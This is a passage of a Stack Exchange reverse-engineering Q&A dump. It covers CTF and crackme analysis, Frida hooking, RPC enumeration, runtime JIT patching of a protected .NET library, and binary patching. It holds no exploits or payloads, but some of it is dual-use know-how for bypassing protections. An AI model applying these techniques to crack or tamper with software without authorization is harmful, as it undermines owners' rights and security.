        "Body": "<p>I'm reversing a CTF binary and I found a decryption loop decompiled by IDA like this:</p>\n\n<pre><code>for ( i = 0; i &lt; n; ++i )\n  {\n    v22 = *((_BYTE *)sub_5657D89B + i);\n    v0 = v22 ^ 0x90;\n    v1 = strlen(&amp;s);\n    *((_BYTE *)src + i) = *(&amp;s + i % v1) ^ v0;\n  }\n</code></pre>\n\n<p>The variable <code>&amp;s</code> is pointing to the stack with these other bytes:</p>\n\n<pre><code>  s = 0xF9u;\n  v4 = 0xFCu;\n  v5 = 0xFFu;\n  v6 = 0xE6u;\n  v7 = 0xF5u;\n  v8 = 0xE0u;\n  v9 = 0xF1u;\n  v10 = 0xF3u;\n  v11 = 0xFBu;\n  v12 = 0xF9u;\n  v13 = 0xFEu;\n  v14 = 0xF7u;\n  v15 = 0xFDu;\n  v16 = 0xE9u;\n  v17 = 0xF3u;\n  v18 = 0xFFu;\n  v19 = 0xF4u;\n  v20 = 0xF5u;\n  v21 = 0;\n</code></pre>\n\n<p>I really don't get the purpose of the division with v1 here: <code>*(&amp;s + i % v1)</code>. The variable n is equal to 0x140. </p>\n",
        "Title": "Decryption loops",
        "Tags": "|binary-analysis|decompilation|",
        "Answer": "<p>Basically, it just to wrap the index at the length of the string.</p>\n\n<p>In C it looks like something like this:</p>\n\n<pre><code>src[i] = s[i % strlen(s)] ^ v0;\n</code></pre>\n\n<p>For instance, if the <code>s</code> is \"ABCD\", <code>strlen(s)</code> is 4. When <code>i</code> is equal to:</p>\n\n<ul>\n<li>4, <code>4 % 4 == 0</code></li>\n<li>5, <code>5 % 4 == 1</code></li>\n<li>and so on.</li>\n</ul>\n"
    },
    {
        "Id": "20941",
        "CreationDate": "2019-03-22T12:51:00.697",
        "Body": "<p>Currently, I'm using <strong>lipo</strong> tool to extract the arch type from a fat iOS binary on a Mac OS. Now, I want to do the same on the <strong>linux</strong> <strong>platform</strong> <strong>for the</strong> <strong>iOS</strong> <strong>binaries</strong>, i.e. extract a given arch type from a fat iOS binary on a linux platform. However, lipo support is not available on Linux.</p>\n\n<p>Any suggestions how can I achieve the same? Any alternate of lipo for linux which does the same?</p>\n",
        "Title": "Lipo alternate for linux",
        "Tags": "|linux|tools|binary|ios|",
        "Answer": "<p>Here\u2019s a port of Apple\u2019s <code>cctools</code> to Linux, it should include <code>lipo</code>:</p>\n\n<p><a href=\"https://github.com/tpoechtrager/cctools-port\" rel=\"nofollow noreferrer\">https://github.com/tpoechtrager/cctools-port</a></p>\n"
    },
    {
        "Id": "20943",
        "CreationDate": "2019-03-23T03:38:04.940",
        "Body": "<p>It needs to work even on older versions of android (3.x and above) specifically the old Sony \"PS Certified\" devices, the device im working with (Sony Tablet S) i have seen reports online that installing the xposed framework will brick the device however you CAN get root </p>\n\n<p>So is there any other way to hook native functions on android? </p>\n",
        "Title": "Android how can i hook native exported functions from a shared library *.so?",
        "Tags": "|android|",
        "Answer": "<p>I would suggest using Frida framework for that purpose - <a href=\"https://www.frida.re\" rel=\"nofollow noreferrer\">link</a>. In short, it will enable you to hook native/Dalvik routines on rooted/non-rooted devices and write hook logic in JS. The framework also has python bindings which can provide means for automation. Following is a short explanation about the usage flow for analysis of APK file:</p>\n\n<ul>\n<li>Rooted device:\n\n<ul>\n<li>there is a great quick start guide on the Frida's site - <a href=\"https://www.frida.re/docs/android/\" rel=\"nofollow noreferrer\">link</a></li>\n<li><a href=\"https://www.notsosecure.com/instrumenting-native-android-functions-using-frida/\" rel=\"nofollow noreferrer\">here</a> is an example of hooking native function for a running APK file, but you can also use the framework to analyze arbitrary native executable which you can attach to or spawn a new process.</li>\n</ul></li>\n<li>Not-rooted device:\n\n<ul>\n<li>in that case you will need to re-package APK and include server library to it. <a href=\"https://koz.io/using-frida-on-android-without-root/\" rel=\"nofollow noreferrer\">Here</a> is a good example how to do it.</li>\n</ul></li>\n</ul>\n\n<p>The framework is in active development and cross-platform/arch supported. If more granular control is needed, you can even develop lower-level apps (e.g. in C) against it's API library.</p>\n"
    },
    {
        "Id": "20964",
        "CreationDate": "2019-03-26T19:41:27.910",
        "Body": "<p>Say I wrote an application and published demo version of it with a possibility to buy a full version. I was wondering if it is possible to stop people from cracking it, so that the only ones who use it are those who actually paid for it.\nIs it possible to achieve? If not, what are the best known techniques used to obstruct cracking?</p>\n",
        "Title": "Defence against cracking",
        "Tags": "|exploit|patching|",
        "Answer": "<p>Your question is very lacking as it is very very broad. To give a <em>precise answer</em> one would have to know details such as what programming language and toolchain you are using to write your software and what platforms you are targeting.</p>\n\n<p>What you are asking is virtually impossible to achieve unless you find some means make vital parts of your program inaccessible to the user/customer; such as on a hardware token, for example. This kind of token should be hard to duplicate and would be the thing only your paying customers have. The token could also make use of modern asymmetric cryptography, but that would likely be impractical as I can only conceive of a scenario where your software needs to know the public key to the secret ones stored on each of these tokens. <a href=\"https://reverseengineering.stackexchange.com/a/247/245\">Additional reading ...</a></p>\n\n<p>That said, you can already tell that I am suggesting a hardware dongle here. But there is an alternative that can work as well depending on what your software does and what the requirements of the users are.</p>\n\n<p>If the software can \"outsource\" some aspects of its functionality to a server under your sole control, then your program need not contain the full functionality. In such a case the server would verify some token/lease (a kind of code or subscription key, if you will) that can contain strongly encrypted data as long as only the server has the secret key to decrypt that data and verify the validity of the token/lease. Once verified, the server would perform the vital function of your program and merely send back the result. Problem here is that you have to design an API that cannot be abused by others to coerce the server into sending results to parties that are not paying customers of yours.</p>\n\n<p>Any offline method will require a hardware solution as outlined before. And only within the outlined constraints will this be an effective protection. And even then there is a slim chance someone figures out how to clone the hardware and the software on it.</p>\n\n<p>However, I think you might want to consider a few things before pursuing your desire for protection against :</p>\n\n<ul>\n<li>Is your software worth the hassle?</li>\n<li>How widely used is your software?</li>\n<li>How intrusive is the protection scheme you sign up for?\n\n<ul>\n<li>For example I am not willing to have some piece of software phone home at will. Similarly I'd have reservations about being given a hardware token, because if I lose it or it gets stolen or destroyed I may be facing several days of idling because that's how long it takes you to ship me a replacement. So <em>if</em> your software is so indispensable you will want to keep in mind the needs of the (paying) customers especially.</li>\n</ul></li>\n<li>Are you thinking more about \"software pirates\" than about your customers?\n\n<ul>\n<li>The effort you spend in a possibly futile attempt to protect your software from \"piracy\" is time you don't spend improving it for paying customers.</li>\n</ul></li>\n</ul>\n\n<p>Long story short: either you trust your customers in which case you can forget about truly secure means to protect your software. All of the means you have at your disposal in such a case are deterrents but will not ultimately stop a determined cracker (<a href=\"https://en.wikipedia.org/wiki/Security_through_obscurity\" rel=\"nofollow noreferrer\">security by obscurity</a>). If you don't trust your users/customers you <em>must</em> ensure that vital parts of your program are not accessible to them (e.g. stored on a hardware dongle or on some remote server).</p>\n\n<p>Consider IDA, the disassembler, one of the tools indispensable to a lot of us here on this site. To the best of my knowledge they use watermarking and the installer is protected by a password. The watermark will ensure that it's possible to trace back whose copy got compromised. But even in such a case not every leak can be attributed to the customer who paid for it. Some years back a disgruntled (ex-)employee of ESET leaked the IDA copy along with the decompiler plugin, for example. Hardly anything ESET could have done about that. The only deterrent for these cases is legal action that will hopefully deter future would-be delinquents from attempting something similar.</p>\n"
    },
    {
        "Id": "20965",
        "CreationDate": "2019-03-27T04:18:34.283",
        "Body": "<p>Suppose that I have a certain Windows service that I know exposes a local RPC interface. I want to create a client program that calls into these procedures; however, I do not have the source code for the service application.</p>\n\n<p>I know that I can use Process Explorer to get the name of the server's ALPC handle under <code>\\RPC Control</code>, and I guess that this handle could be used to create a binding string which would allow my client to connect to the server. This should hopefully solve the connection part.</p>\n\n<p>However, how should I go on about defining the actual RPC interface for my client to get code executed on the server? I would first need to identify remote procedures and the arguments that they take, and then code a proper client. My guess is that I should write an idl file that somehow fits with the service, and then compile it using midl compiler with an appropriate configuration. Is this the best strategy or would someone with more experience suggest something else? What are the most efficient techniques or tools to enumerate and reverse engineer RPC interfaces? Is reversing even necessary? Does anyone has some experience they could share about this?</p>\n",
        "Title": "How can I enumerate and hook into a Windows 10 RPC interface?",
        "Tags": "|windows|windows-10|",
        "Answer": "<p>You can use <a href=\"https://github.com/akamai/akamai-security-research/tree/main/rpc_toolkit/pe_rpc_if_scraper\" rel=\"nofollow noreferrer\">rpc_toolkit/pe_rpc_if_scraper</a> to statically parse interfaces in a binary file. Run the following command in Python:\n<code>python pe_rpc_scraper.py &lt;binary&gt;</code></p>\n<p>Then you will get the output json file like the following:</p>\n<pre><code>{\n  &quot;RPC-Server.exe&quot;: {\n    &quot;d6b1ad2b-b550-4729-b6c2-1651f58480c3&quot;: {\n      &quot;number_of_functions&quot;: 2,\n      &quot;functions_pointers&quot;: [\n        &quot;0x1400016f0&quot;,\n        &quot;0x1400017c0&quot;\n      ],\n      &quot;function_names&quot;: [\n        &quot;func1&quot;,\n        &quot;func2&quot;\n      ],\n      &quot;role&quot;: &quot;server&quot;,\n      &quot;flags&quot;: &quot;0x6000000&quot;,\n      &quot;interface_address&quot;: &quot;0x14001d220&quot;\n    }\n  }\n}\n</code></pre>\n"
    },
    {
        "Id": "20978",
        "CreationDate": "2019-03-28T06:23:49.970",
        "Body": "<p>I know that there is a string called \"Activate your subscription\" used in this particular app. But Im not able to find this string from its executable. I tried <code>strings myapp</code> and also searched for same string with Hopper disassembler but it both haven't found location of that string.</p>\n\n<p>So my question what am I missing here and is this some kind of obfuscation used by these apps ? </p>\n\n<p>Image of a screen in this particular mac app where \"Activate your subscription\" string is used</p>\n\n<p><a href=\"https://i.stack.imgur.com/XqMLk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XqMLk.png\" alt=\"Mac App\"></a></p>\n\n<p>After Searching for \"Activate\" string in Hopper</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZNiPe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZNiPe.png\" alt=\"Hopper\"></a></p>\n",
        "Title": "Not able to find Hard coded strings in the mac executable file",
        "Tags": "|patch-reversing|strings|hopper|macos|",
        "Answer": "<p>Some binaries hide the string on base64, with basic encryption algorithms rc4 or even with xor just for avoid what you are trying to achieve. Depending on the design of the owner of the binary you can find this types of techniques on them.</p>\n\n<p>For example instead of do this</p>\n\n<pre><code>const char *msg = \"Good morning\";\n</code></pre>\n\n<p>You can do</p>\n\n<pre><code>const char *msg = \"R29vZCBtb3JtaW5nCg==\"; /* base64 of 'Good morning' */\n</code></pre>\n\n<p>and on every use of msg you just call a base64 decode function and that's how works in a very basic environment. You can use RC4, Xor or any other encryption algorithm for hide the strings, but bear in mind that somebody with experience will find the way to decode the string</p>\n\n<pre><code>printf(\"My message is %s\\n\", decode64(msg));\n</code></pre>\n"
    },
    {
        "Id": "20992",
        "CreationDate": "2019-03-29T10:08:35.867",
        "Body": "<p>I am trying to reassemble code reversed from an executable using radare2. I have managed to extract the asm and am using nasm for reassembling. </p>\n\n<p>The question is, the code also contains commands like \n<code>byte ptr [esi],pushal, fucomi st(3) and sqrtps xmm5, xmmword [edx - 1]</code> which I'm unfamiliar with.</p>\n\n<p>I tried assembling with the <code>nasm -felf -o</code> command. However, I'm getting the following errors.</p>\n\n\n\n<pre><code>test.asm:68: error: comma, colon, decorator or end of line expected after operand\ntest.asm:69: error: comma, colon, decorator or end of line expected after operand\ntest.asm:85: error: comma, colon, decorator or end of line expected after operand\ntest.asm:133: error: comma, colon, decorator or end of line expected after operand\ntest.asm:167: error: impossible combination of address sizes\ntest.asm:167: error: invalid effective address\ntest.asm:298: error: symbol `pushal' redefined\ntest.asm:423: error: comma, colon, decorator or end of line expected after operand\ntest.asm:637: error: comma, colon, decorator or end of line expected after operand\ntest.asm:802: error: symbol `pushal' redefined\n\n</code></pre>\n\n<p>According to <a href=\"https://stackoverflow.com/a/27600186\">this stackoverflow post</a>, the keyword ptr does not exist in nasm and it suggested that the word be removed. Doing that resolved a few errors. Now I have the following errors:</p>\n\n\n\n<pre><code>test.asm:68: error: comma, colon, decorator or end of line expected after operand\ntest.asm:69: error: comma, colon, decorator or end of line expected after operand\ntest.asm:85: error: comma, colon, decorator or end of line expected after operand\ntest.asm:133: error: comma, colon, decorator or end of line expected after operand\ntest.asm:298: error: symbol `pushal' redefined\ntest.asm:423: error: comma, colon, decorator or end of line expected after operand\ntest.asm:637: error: comma, colon, decorator or end of line expected after operand\ntest.asm:802: error: symbol `pushal' redefined\n\n</code></pre>\n\n<p>Since I have no idea what pushal and sqrtps mean, I'm reluctant to remove them from the code. Could someone please explain what these commands mean? </p>\n\n<p>Additionally suggestions on how I can get this as a compilable error-free code are also welcome.</p>\n\n<p>EDIT:\nFollowing user blabb s suggestion, i replaced pushal with pushad and now I have only 2 errors</p>\n\n\n\n<pre><code>test.asm:80: error: comma, colon, decorator or end of line expected after operand\ntest.asm:127: error: comma, colon, decorator or end of line expected after operand\n</code></pre>\n\n<p>The 2 lines in question are: </p>\n\n\n\n<pre><code>fucomi st(3)\nand\nsqrtps xmm5, xmmword [edx - 1]\n</code></pre>\n\n<p>any suggestions as to how to handle this?</p>\n\n<p>EDIT 2:\nincluding lines 76-83</p>\n\n\n\n<pre><code>pop esi\nint3\nsti\nxor ebx,ebx\nfucomi st(0),st(3)\njmp 0x400299\npop es\nxor ebx, ebx\n</code></pre>\n\n<p>and lines 122-132</p>\n\n\n\n<pre><code>add cl, bh\niretd\nmov dr0, ebx\nand eax, ebx\nret\npush 0xf\nsqrtps xmm5, xmmword [edx - 1]\npush ecx\npush 0xffffffffffffffff\ncall dword [ecx + 0x51]\npush ecx\n</code></pre>\n\n<p>EDIT3:\nBased on user blabb s suggestion and also by referring the <a href=\"https://www.nasm.us/xdoc/2.11/html/nasmdoc2.html#section-2.2.6\" rel=\"nofollow noreferrer\">NASM docs</a>, I found that NASM does not accept st(0),st(3) and instead it accepts st0,st3. Now only one error left.</p>\n\n<pre><code>test.asm:127: error: comma, colon, decorator or end of line expected after operand\n</code></pre>\n\n<p>Still did not understand how to handle this.</p>\n",
        "Title": "Reassembling reversed ASM",
        "Tags": "|radare2|reassembly|nasm|",
        "Answer": "<p>SYNONYMS for Instruction ( PUSH ALL DOUBLE WORDS  / longs)</p>\n\n<p>pushad   intel (masm , yasm , nasm , tasm)<br>\npushal   at&amp;t with ( gas )   </p>\n\n<p>sqrtps = square root of single precision floating point  </p>\n\n<p>if you can use intrinsic use <code>SQRTPS __m128 _mm_sqrt_ps (__m128 a);</code></p>\n\n<p>it takes the 128bit value in src calculates the square rot of it and places the square root in destination xmmword (128 bit register)</p>\n\n<p>you can always find equivalent syntax for all of these instructions and modify the inconsisitent syntax to suit the tool</p>\n\n<p>a cpp src code that illustrates sqrtps usage </p>\n\n<pre><code>//visual studio declares __m128 as union\n// for gcc use _mm_set_xxx intrinsc\n#include &lt;stdio.h&gt;\n#include &lt;intrin.h&gt;\n\nint main(void) {\n    __m128 res;\n    res.m128_f32[0]=256.0;\n    res.m128_f32[1]=64.0;\n    res.m128_f32[2]=16.0;\n    res.m128_f32[3]=4.0;\n    res = _mm_sqrt_ps (res);\n    printf(\"%f %f %f %f\\n\",\n    res.m128_f32[0],\n    res.m128_f32[1],\n    res.m128_f32[2],\n    res.m128_f32[3]\n    );\n}\n</code></pre>\n\n<p>compiled and linked and executed </p>\n\n<pre><code>:\\&gt;cl /Zi /W4 /Ox /analyze /nologo sqrtps.cpp /link /nologo  /release\nsqrtps.cpp\n\n:\\&gt;sqrtps.exe\n16.000000 8.000000 4.000000 2.000000\n</code></pre>\n\n<p>disassembly</p>\n\n<pre><code>:\\&gt;cdb -c \"uf sqrtps!main;q\" sqrtps.exe | grep -i sqrtps.*xmm\n01081000 0f510db0e10b01  sqrtps  xmm1,xmmword ptr [sqrtps!_xmm (010be1b0)]\n</code></pre>\n\n<p>relooking at your query it appears you have some problems in the listing </p>\n\n<p>fucomi iirc takes two operands your query shows only one st(3)</p>\n\n<p>edit<br>\nyes it takes two operands the first operand is st0 and is default \nso your listing probably omitted it (dont take my word check confirm and then change to <strong>fucomi st,st(3)</strong></p>\n\n<p><strike> and iirc nasm doesnt understand <strong>xmmword</strong> i think it needs <strong>DQWORD</strong> </strike></p>\n\n<p><a href=\"https://i.stack.imgur.com/wjwDt.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wjwDt.jpg\" alt=\"enter image description here\"></a></p>\n\n<p><strike>and i don't think unaligned access like [edi -1] is possible with sse operations </strike></p>\n\n<p>no it was not either unaligned access nor dqword \nnasm simply doesnt like any decorator or qualifier </p>\n\n<p>this assembles links and behaves properly</p>\n\n<pre><code>:\\&gt;ls\ntest.asm\n\n:\\&gt;cat test.asm\nsection .text\nglobal main\nmain:\nsqrtps xmm0,[edi-1]\nret\n:\\&gt;nasm -f win32 -o test.obj test.asm\n\n:\\&gt;ls\ntest.asm  test.obj\n\n:\\&gt;link test.obj /debug /entry:main /release /nologo\n\n:\\&gt;ls\ntest.asm  test.exe  test.obj  test.pdb\n\n:\\&gt;..\\ndisasm.exe -p intel -b 32 -e 0x200 -k 6,5000 test.exe\n00000000  0F5147FF          sqrtps xmm0,oword [edi-0x1]\n00000004  C3                ret\n00000005  00                db 0x00\n00000006  skipping 0x1388 bytes\n</code></pre>\n"
    },
    {
        "Id": "20997",
        "CreationDate": "2019-03-29T17:41:55.093",
        "Body": "<p>I am trying to change a part in a third party library, it has a bug, however, there are no fixes and source code is not available as well.</p>\n\n<p>At first, I tried to modify <strong>IL Opcodes</strong> directly by disassembling an assembly, but it has some kind of protection, so after recompiling it I was not able to use it even that I had removed <code>Strong Name verification</code> from it.</p>\n\n<p>I have tried to change <code>IL instructions</code> in runtime, however </p>\n\n<pre><code>        InjectionHelper.Initialize();\n        InjectionHelper.WaitForIntializationCompletion();\n        Type type = obj.GetType();\n        var methods = type.GetMethods();\n       // MethodInfo targetMethod = type.GetMethod(\"MethodName\",  BindingFlags.NonPublic | BindingFlags.Instance);\n\n        var methodInfo = type\n            .GetMethods(BindingFlags.NonPublic | BindingFlags.Instance).Single(\n                m =&gt;\n                    m.ReturnType == typeof(string) &amp;&amp;\n                    m.GetParameters().Length == 1);\n\n        RuntimeHelpers.PrepareMethod(methodInfo.MethodHandle);\n        byte[] ilOpCodes = methodInfo.GetMethodBody()?.GetILAsByteArray();\n        for (int i = 0; i &lt; ilOpCodes.Length; i++)\n        {\n            if (ilOpCodes[i] == OpCodes.Ldc_I4_1.Value)\n            {\n                ilOpCodes[i] = (byte) OpCodes.Ldc_I4_0.Value;\n                break;\n            }\n        }\n        InjectionHelper.UpdateILCodes(methodInfo,ilOpCodes);\n</code></pre>\n\n<p>But unfortunately got an exception.</p>\n\n<pre><code>Unhandled Exception: System.Exception: UpdateILCodes() failed, please check the initialization is failed or uncompleted.\n</code></pre>\n\n<p>Is there any mistake I made? I used this article as a reference <a href=\"https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time\" rel=\"nofollow noreferrer\">https://www.codeproject.com/Articles/463508/NET-CLR-Injection-Modify-IL-Code-during-Run-time</a> \nSo what is the best way to make it usable?</p>\n",
        "Title": "C# Changing method body in runtime",
        "Tags": "|disassembly|assembly|c#|",
        "Answer": "<p>In the past I've had issues editing the IL code during run time, especially if the method had already been compiled by the JIT Compiler, and the most full proof way I found was to patch it during run time was to edit the x86/x86_64(or whatever architecture you're running) generated by the JIT Compiler which is located at the pointer given by </p>\n\n<pre><code>MethodInfo.MethodHandle.GetFunctionPointer()\n</code></pre>\n\n<p>but you need to make sure the target function is already compiled by either calling it or using </p>\n\n<pre><code>RuntimeHelpers.PrepareMethod(MethodHandle)\n</code></pre>\n\n<p>From there you can either utilize unsafe code blocks or Marshal to copy your own x86 bytecode (for example a jump to the function you want to replace with)</p>\n\n<p>I do however recommend you to use, or at least to take a look at, <a href=\"https://github.com/pardeike/Harmony\" rel=\"noreferrer\">Harmony</a> which is a library utilized by multiple games to support mods.</p>\n\n<p>As for the reason why you're unable to utilize the library after removing the strong name it might be due to the fact that the application utilizing the library is 'linked' by the strong name and without it the load fails.</p>\n"
    },
    {
        "Id": "21004",
        "CreationDate": "2019-03-31T00:33:38.690",
        "Body": "<p>I came across a question the other day on reddit: How can we use PAGE_GUARD-based memory breakpoints in GDB (not hardware breakpoints)?</p>\n\n<p>Ollydbg, x64dbg and IDA PRO all support these types of breakpoints, but I couldnt find a way in GDB.</p>\n\n<p>If this is not available, is it possible to set the PAGE_GUARD bit manually in GDB?</p>\n",
        "Title": "GUARD_PAGE memory breakpoints with gdb?",
        "Tags": "|ida|gdb|memory|breakpoint|",
        "Answer": "<p>According to <code>man mmap</code></p>\n\n<blockquote>\n<pre><code>  PROT_NONE  The memory cannot be accessed at all.\n  PROT_READ  The memory can be read.\n  PROT_WRITE The memory can be modified.\n  PROT_EXEC  The memory can be executed.\n</code></pre>\n</blockquote>\n\n<p><code>PROT_NONE</code> will act like a guard page by hitting a <code>SIGSEGV</code> when accessed.</p>\n\n<p>The page with <code>PROT_NONE</code> looks like this in the map during runtime</p>\n\n<pre><code>    0x7ffff7ff7000     0x7ffff7ff8000 ---p     1000 0\n</code></pre>\n\n<p><code>gdb</code> allows you to call arbitrary functions in the process space. A simple solution would be to run this under gdb </p>\n\n<pre><code>print mprotect($address,0x1000,0)\n</code></pre>\n\n<p>This would set <code>PROT_NONE</code> = 0 permissions on the page and it will act as a guard page.\nIf after hitting <code>SIGSEGV</code> you want to remap the page as rw (PROT_READ|PROT_WRITE)</p>\n\n<pre><code>print mprotect($address,0x1000,3)\n</code></pre>\n\n<p>If you want to add an extra page mapped as guard page like the page heaps in windows, you can call mmap.</p>\n\n<pre><code>print /a mmap($address+0x1000,0x1000,0,0x22,-1,0)\n</code></pre>\n\n<p>Here 0x22 is <code>MAP_PRIVATE|MAP_ANONYMOUS</code></p>\n"
    },
    {
        "Id": "21011",
        "CreationDate": "2019-03-31T17:55:52.117",
        "Body": "<p>I am trying to solve a GUI based crackme. <a href=\"https://crackmes.one/crackme/5c68758633c5d4776a837cc4\" rel=\"nofollow noreferrer\">https://crackmes.one/crackme/5c68758633c5d4776a837cc4</a> so that I learn security. I want to set a conditional Break point on <code>user32.CallWindowProcA</code>. <a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-callwindowproca\" rel=\"nofollow noreferrer\">Microsoft Documents this function</a> as follows</p>\n\n<pre><code>LRESULT CallWindowProcA(\n  WNDPROC lpPrevWndFunc,\n  HWND    hWnd,\n  UINT    Msg,\n  WPARAM  wParam,\n  LPARAM  lParam\n);\n</code></pre>\n\n<p>I set the following conditional break points for <a href=\"https://wiki.winehq.org/List_Of_Windows_Messages\" rel=\"nofollow noreferrer\">WM_LBUTTONDOWN (0x202)</a> as follows. But they are not being hit when I click the button :( help</p>\n\n<pre><code>Type     Address  Module/Label/ State   Disassembly                            Hits Summary                                              \nSoftware                                                                            \n         0041A995 crackme-4.exe Enabled push ebp                               3255 sub_41a995 ?dialogProc?, breakif(arg.get(1) == 0x202)\n         0041B9A2 crackme-4.exe Enabled call dword ptr ds:[&lt;&amp;CallWindowProcA&gt;] 1713 breakif((1:[esp+0xc] == 0x202) )\n         0041F086 crackme-4.exe Enabled call dword ptr ds:[&lt;&amp;CallWindowProcA&gt;] 0    breakif((1:[esp+0xc] == 0x202))\n         0041F11B crackme-4.exe Enabled call dword ptr ds:[&lt;&amp;CallWindowProcA&gt;] 273  breakif((1:[esp+0xc] == 0x202))\n         00437E9E crackme-4.exe Enabled mov byte ptr ss:[ebp-4],21             0    \n         749055C0 user32.dll    Enabled mov edi,edi                            636  breakif(arg.get(1) == 0x202)\n</code></pre>\n\n<p>I have read through and tried \n<a href=\"https://reverseengineering.stackexchange.com/questions/20411/x64dbg-conditional-breakpoint-based-on-function-argument\">x64dbg - Conditional breakpoint based on function argument</a> but i could not get it to work for me.</p>\n",
        "Title": "x64dbg how to set conditional breakpoint on WinAPI function",
        "Tags": "|x64dbg|breakpoint|winapi|",
        "Answer": "<p>I had the same issue some time ago, updating to the latest x64dbg version solved that problem.\nYou also have to set bps like that:</p>\n\n<pre><code>[esp+0xC] == 0x202\n</code></pre>\n"
    },
    {
        "Id": "21012",
        "CreationDate": "2019-03-31T19:15:59.000",
        "Body": "<p>I have the following Assembler Code in a x86 Program and I need to modify it as it is buggy:</p>\n\n<pre><code>fld     ds:(flt_203B8 - 29C48h)[ebx]\nfdivr   dword ptr [esi+44h]\nfmul    ds:(flt_203BC - 29C48h)[ebx]\nfisttp  [ebp+var_334]\nmov     eax, [ebp+var_334]\ncmp     eax, 0Fh\njg      short greater\n\ntest    eax, eax\nmov     edx, 0\ncmovs   eax, edx\njmp     short valueWithinLimits\n\n\ngreater:\nmov     eax, 0Fh\n\nvalueWithinLimits:\n....\n</code></pre>\n\n<p>In Pseudocode this is</p>\n\n<pre><code>v29 = (signed int)(*(float *)(v3 + 68) / 40.0 * 15.0);\nif ( v29 &gt; 15 )\n{\n  v29 = 15;\n}\nelse if ( v29 &lt; 0 )\n{\n  v29 = 0;\n}\n</code></pre>\n\n<p>I need to insert the following line as second line:</p>\n\n<pre><code>v29 = 15 - v29;\n</code></pre>\n\n<p>Is there any way I can do that without needing any more space? I assume no but maybe someone has a smart Idea here what can be done in this case.</p>\n",
        "Title": "Modify formula by adding a subtraction",
        "Tags": "|x86|",
        "Answer": "<p>You have code which scales and offsets, you need to scale and offset.  So you do not need to change the <em>code</em> at all, just the constants.</p>\n\n<p>Work your new operation backwards into the existing math. Change the sign of one of the constants you multiply by, and work the offset back through the multiplication and sign change and combine it with the original offset. </p>\n"
    },
    {
        "Id": "21020",
        "CreationDate": "2019-04-02T09:56:26.987",
        "Body": "<p>Recently, i have gone through some kind of win32-64 executable files which can't be decompiled under IDA (into Pseudocode). Only the Assembly Code can be read. When i try to press F5 to decompile the file,it only shows me a Diaglog Box says \"Positive Stack Value found\".The Debugging process is still fine.It's just i can't not decompile the file into c source code.</p>\n\n<p>I wonder how can they do that? I mean they can make the executable unable to decompile under IDA or maybe other Disassembler.</p>\n\n<p>I want to accomplish this using other compilers such as GCC,MinGW,Clang,or even Turbo.</p>\n",
        "Title": "Unable to decompile C Code",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>When you encounter this kind of error, just make sure that the stack pointer is aligned.</p>\n\n<p><a href=\"https://i.stack.imgur.com/2M8AA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2M8AA.png\" alt=\"enter image description here\"></a></p>\n\n<p>Go to Options tab.</p>\n\n<p><a href=\"https://i.stack.imgur.com/YJYN0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YJYN0.png\" alt=\"enter image description here\"></a></p>\n\n<p>Click General...</p>\n\n<p><a href=\"https://i.stack.imgur.com/e0NIy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/e0NIy.png\" alt=\"enter image description here\"></a></p>\n\n<p>Click the Stack Pointer.</p>\n\n<p>It will show the stack pointers at the left side.\n<a href=\"https://i.stack.imgur.com/awccq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/awccq.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/izgoy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/izgoy.png\" alt=\"enter image description here\"></a></p>\n\n<p>Click the sub esp, 0x15c, press Alt+k, then click OK.</p>\n\n<p><a href=\"https://i.stack.imgur.com/87lFj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/87lFj.png\" alt=\"enter image description here\"></a></p>\n\n<p>So it must be able to solve your problem.</p>\n\n<p><a href=\"https://i.stack.imgur.com/YSt2z.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YSt2z.png\" alt=\"enter image description here\"></a></p>\n\n<p>Press F5.</p>\n\n<p><a href=\"https://i.stack.imgur.com/mxhJh.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mxhJh.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "21027",
        "CreationDate": "2019-04-03T03:25:23.217",
        "Body": "<p>So I'm looking for some guidance on this topic.</p>\n\n<p>If I open up my exe in a Hexeditor and go to the location where the address of the string is pushed as argument I have the following:</p>\n\n<pre><code>68 7C 9D F1 01 - push 01F19D7C\n</code></pre>\n\n<p>The string in the exe however is at 01ADC808.</p>\n\n<p>I do have the same exe but for a different language.</p>\n\n<pre><code>68 78 DE F0 01 - push 01F0DE78\n</code></pre>\n\n<p>and the string is at 01B94B0C.</p>\n\n<p>Looking at it in Ghidra for example, the address from the push instruction matches the location of the string. So currently my best guess is, that Ghidra aligns the data properly with info from the PE Header.</p>\n\n<p>I'm writing a tool that modifies that string. Patterns could be created for each version, however I'd like a rather \"universal\" way to solve this.</p>\n\n<p>Additionally, here's the overview for the Section Headers for the first example:\n<a href=\"https://i.stack.imgur.com/KjqfA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KjqfA.png\" alt=\"enter image description here\"></a></p>\n\n<p>Feel free to let me know if my question was not clear enough or more information is required!</p>\n\n<p>Thanks in advance for any advice! :)</p>\n\n<p>EDIT: Forgot to mention the tool I'm writing is written in C#.</p>\n",
        "Title": "Calculating offset from push instruction in exe to string in data section",
        "Tags": "|pe|c#|offset|",
